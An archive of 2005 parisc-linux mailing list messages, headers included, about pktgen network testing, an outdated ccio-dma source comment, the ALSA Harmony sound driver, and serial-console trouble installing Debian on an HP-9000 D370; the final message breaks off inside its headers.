	by free.linux.hp.com (Postfix) with ESMTP id 6035F7D68B;
	Sun, 22 May 2005 19:37:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 11B707D688
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 May 2005 19:37:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24564-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 May 2005 19:37:38 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 8EA037D686
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 May 2005 19:37:38 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A2FB0298067;
	Sun, 22 May 2005 19:40:53 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09575-04; Sun, 22 May 2005 19:40:53 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 6AC35298059; Sun, 22 May 2005 19:40:53 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <429083BB.6010506@tiscali.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: VVHjYrwHeSEkf76WZHQhaXN1IGRvb8CQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22727

On Sun, May 22, 2005 at 01:06:03PM +0000, Joel Soete wrote:
> linux-2.6.12-rc4-pa5-050522.tar               100%  207MB 881.1KB/s   04:00
...
> mmm the builtin nic of the c110 is only 10M/half duplex, I presume that's 
> why there was no improvement or may be another more relevant test?

Both actually.

If possible, connect the C110 with 100BT NIC to *any* other 100BT with
a cross-over cable or to switch. I think you need a card-mode DINO card
(EISA form factor) for C110 since it doesn't have PCI.
Then run pktgen (kernel psuedo-driver). This script needs some adjusting
but should get you started:
	http://iou.parisc-linux.org/ols2004/documents/pktgen-testing/pktgen-single

If you can plug in multiple 100BT (or gige NICs),
look at some of the other scripts in the same directory.

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] need help to fix outdated comment in ccio-dma
Date: Sun, 22 May 2005 19:44:29 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20050523014429.GC8960@colo.lackof.org>
References: <20050522022224.60F7A494058@palinux.hppa>
	<42905AA1.4010605@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623788 14635 80.91.229.3 (22 Nov 2014 02:36:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 May 2005 01:41:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 23 May 2005 03:41:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 62AF67D652;
	Sun, 22 May 2005 19:41:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25067-07; Sun, 22 May 2005 19:41:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB3BC7D65A;
	Sun, 22 May 2005 19:41:18 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 69E327D651
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 May 2005 19:41:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25154-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 May 2005 19:41:15 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id E6B107D643
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 May 2005 19:41:14 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2746D298059;
	Sun, 22 May 2005 19:44:30 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09575-08; Sun, 22 May 2005 19:44:29 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E4DDE29800A; Sun, 22 May 2005 19:44:29 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <42905AA1.4010605@tiscali.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lVHjYr1VeSEkVb6WZHQhaXN1IGRvb4CS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22728

On Sun, May 22, 2005 at 10:10:41AM +0000, Joel Soete wrote:
> I would still like to update this comment in the head this file:
> [snip]
> **  Philipp Rumpf has a "Real Mode" driver for PCX-W machines at:
> **      CVSROOT=:pserver:anonymous@198.186.203.37:/cvsroot/linux-parisc
> **      cvs -z3 co linux/arch/parisc/kernel/dma-rm.c
> [snip]

Actually, I'm very tempted to just delete this comment.

> '198.186.203.37' doesn't seems to be a relevant address, so shouldn't we 
> better refer to cvs ccio-rm-dma.c?

If someone maintained it, Yes. But prumpf doesn't maintain it and
I'm not aware of anyone that actually uses ccio-rm-dma since it
*only* works on C360.  I'm completely un-interested in trying to support it.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ALSA Harmony driver
Date: Mon, 23 May 2005 15:34:51 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <20050523143451.GA2485@ntlworld.com>
References: <20050523105248.4F858494058@palinux.hppa>
	<20050523111554.GA2301@ntlworld.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623789 14638 80.91.229.3 (22 Nov 2014 02:36:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 May 2005 14:35:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 23 May 2005 16:35:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 593FF7D6A4;
	Mon, 23 May 2005 08:35:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29697-09; Mon, 23 May 2005 08:35:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 618347D6A5;
	Mon, 23 May 2005 08:35:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8CF5C7D6A3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 May 2005 08:34:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29697-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 May 2005 08:34:57 -0600 (MDT)
Original-Received: from mta09-winn.mailhost.ntl.com (smtpout17.mailhost.ntl.com
	[212.250.162.17])
	by free.linux.hp.com (Postfix) with ESMTP id 928297D6A0
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 May 2005 08:34:56 -0600 (MDT)
Original-Received: from aamta01-winn.mailhost.ntl.com ([212.250.162.8])
	by mta09-winn.mailhost.ntl.com with ESMTP id
	<20050523143455.RGSN9046.mta09-winn.mailhost.ntl.com@aamta01-winn.mailhost.ntl.com>
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 May 2005 15:34:55 +0100
Original-Received: from janus ([82.9.44.76]) by aamta01-winn.mailhost.ntl.com with ESMTP
	id <20050523143454.UXGU242.aamta01-winn.mailhost.ntl.com@janus>
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 May 2005 15:34:54 +0100
Original-Received: from sdb by janus with local (Exim 3.35 #1 (Debian))
	id 1DaE16-0000eJ-00 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 May 2005 15:34:52 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20050523111554.GA2301@ntlworld.com>
User-Agent: Mutt/1.3.28i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: dI/jYkxYeSEker6WZHQhaXN1IGRvb8Cf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22729

On Mon, May 23, 2005 at 12:15:55PM +0100, Stuart Brady wrote:
> I've not had panics from ALSA Harmony in quite a while.

Oops -- it appears removing the module isn't very reliable, yet.

> The only things missing are simultaneous playback/capture,

I've no idea if this is even possible with ALSA.  (The problem is that
playback and capture must use the same sample rate and format.)

> some mixer settings

I.e. switches for headphones, line-out and internal speaker output,
which I've just committed.   OSS mixer apps (like aumix) won't see
these, but alsamixer works fine.  (Use "m" to toggle.)

ALSA drivers usually mute everything during initialisation.  Unless
anyone has a reason not to, I'm going to make Harmony mute the
headphones, line-out and internal speaker outputs, too.

> and some cleanups for the monitor channel (which most people
> won't care about).  I think it's preferable to the OSS driver, anyway.

OTOH, maybe not if it's built as a module...
-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Coletti <dcoletti@xtech.com.ar>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] If this is the last message you see
Date: Mon, 23 May 2005 18:10:21 -0300
Lines: 30
Approved: news@gmane.org
Message-ID: <429246BD.7020606@xtech.com.ar>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623789 14641 80.91.229.3 (22 Nov 2014 02:36:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 May 2005 21:08:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx036) with SMTP; 23 May 2005 23:08:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 39D527D682;
	Mon, 23 May 2005 15:07:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30738-10; Mon, 23 May 2005 15:07:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A77EB7D692;
	Mon, 23 May 2005 15:07:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 053CD7D674
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 May 2005 15:07:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31207-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 May 2005 15:07:52 -0600 (MDT)
Original-Received: from rex3.xtechq.com.ar (unknown [200.68.115.49])
	by free.linux.hp.com (Postfix) with ESMTP id 625767D65A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 May 2005 15:07:52 -0600 (MDT)
Original-Received: by rex3.xtechq.com.ar (Postfix, from userid 1256)
	id BA84D34134F4; Mon, 23 May 2005 18:10:05 -0300 (ART)
Original-Received: from [192.168.2.100] (unknown [192.168.1.5])
	by rex3.xtechq.com.ar (Postfix) with ESMTP id 8110134134F3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 May 2005 18:10:03 -0300 (ART)
User-Agent: Mozilla Thunderbird 1.0.2 (X11/20050322)
X-Accept-Language: en-us, en
X-Bogosity: No, tests=bogofilter, spamicity=0.087393, version=0.94.4
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FSPgYs5xeSEkVr6WZHQhaXN1IGRvbwCW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22730

Hi,
	I am trying to install Debian on a HP-9000 D370. The booting works 
fine, I interacted a lot with the HP IPL and got it to boot from the CD 
and everything.
It boots, but is this very nice message at the bottom of my serial 
console terminal that says ``If this is the last message you see [...] 
check the FAQ and/or mailing lists. Well, I have and found no answer 
for my problem.
I did try a lot of different devices on the kernel booting line, 
parameter "console=" to be precise.

ttyS0, ttyS1, tty0, tty1, and other things that I saw other people tried.

Am I pointing to the right direction? or I have to change something 
else? What other values can I try?

thanks a lot.

dan///
-- 
Daniel Coletti
XTech (Soluciones Linux para Empresas) - http://www.xtech.com.ar
25 de Mayo 293 - 5to. 'B'
Buenos Aires, Argentina
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] If this is the last message you see
Date: Mon, 23 May 2005 22:51:49 -0600
Lines: 45
Approved: news@gmane.org
Message-ID: <20050524045149.GA867@colo.lackof.org>
References: <429246BD.7020606@xtech.com.ar>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623789 14643 80.91.229.3 (22 Nov 2014 02:36:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Daniel Coletti <dcoletti@xtech.com.ar>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 May 2005 04:48:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 24 May 2005 06:48:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C6A8E7D6A6;
	Mon, 23 May 2005 22:48:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32429-05; Mon, 23 May 2005 22:48:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CEEA57D6AB;
	Mon, 23 May 2005 22:48:36 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 797477D6A5
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 May 2005 22:48:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32429-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 May 2005 22:48:33 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 00C297D69D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 May 2005 22:48:32 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id BA8C2298069;
	Mon, 23 May 2005 22:51:49 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00897-10; Mon, 23 May 2005 22:51:49 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 79DCD298067; Mon, 23 May 2005 22:51:49 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <429246BD.7020606@xtech.com.ar>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ftfgYpVWeSEkYL6WZHQhaXN1IGRvb4CR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22731

On Mon, May 23, 2005 at 06:10:21PM -0300, Daniel Coletti wrote:
> Hi,
> 	I am trying to install Debian on a HP-9000 D370. The booting works 
> fine, I interacted a lot with the HP IPL and got it to boot from the CD 
> and everything.
> It boots, but is this very nice message at the bottom of my serial 
> console terminal that says ``If this is the last message you see [...] 
> check the FAQ and/or mailing lists??. Well, I have and found no answer 
> for my problem.
> I did try a lot of different devices on the kernel booting line, 
> parameter "console=" to be precise.
> 
> ttyS0, ttyS1, tty0, tty1, and other things that I saw other people tried.

Shouldn't that be ttyB0 if it's using the mux driver?

> Am I pointing to the right direction? or I have to change something 
> else? What other values can I try?
> 
> thanks a lot.

Wasn't there a goofy card that needs to be removed from D-class
in order for parisc-linux to work properly?
Search the parisc-linux mail archive for "remove management card"
or variants of that.

grant

> 
> dan///
> -- 
> Daniel Coletti
> XTech (Soluciones Linux para Empresas) - http://www.xtech.com.ar
> 25 de Mayo 293 - 5to. 'B'
> Buenos Aires, Argentina
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] If this is the last message you see
Date: Tue, 24 May 2005 09:28:26 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <4282FEEE0000450C@mail-5-bnl.tiscali.it>
References: <20050524045149.GA867@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623790 14648 80.91.229.3 (22 Nov 2014 02:36:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>,
 "Daniel Coletti" <dcoletti@xtech.com.ar>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 May 2005 07:28:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 24 May 2005 09:28:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8040C7D69B;
	Tue, 24 May 2005 01:28:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00877-06; Tue, 24 May 2005 01:28:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 709207D69C;
	Tue, 24 May 2005 01:28:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D8EED7D698
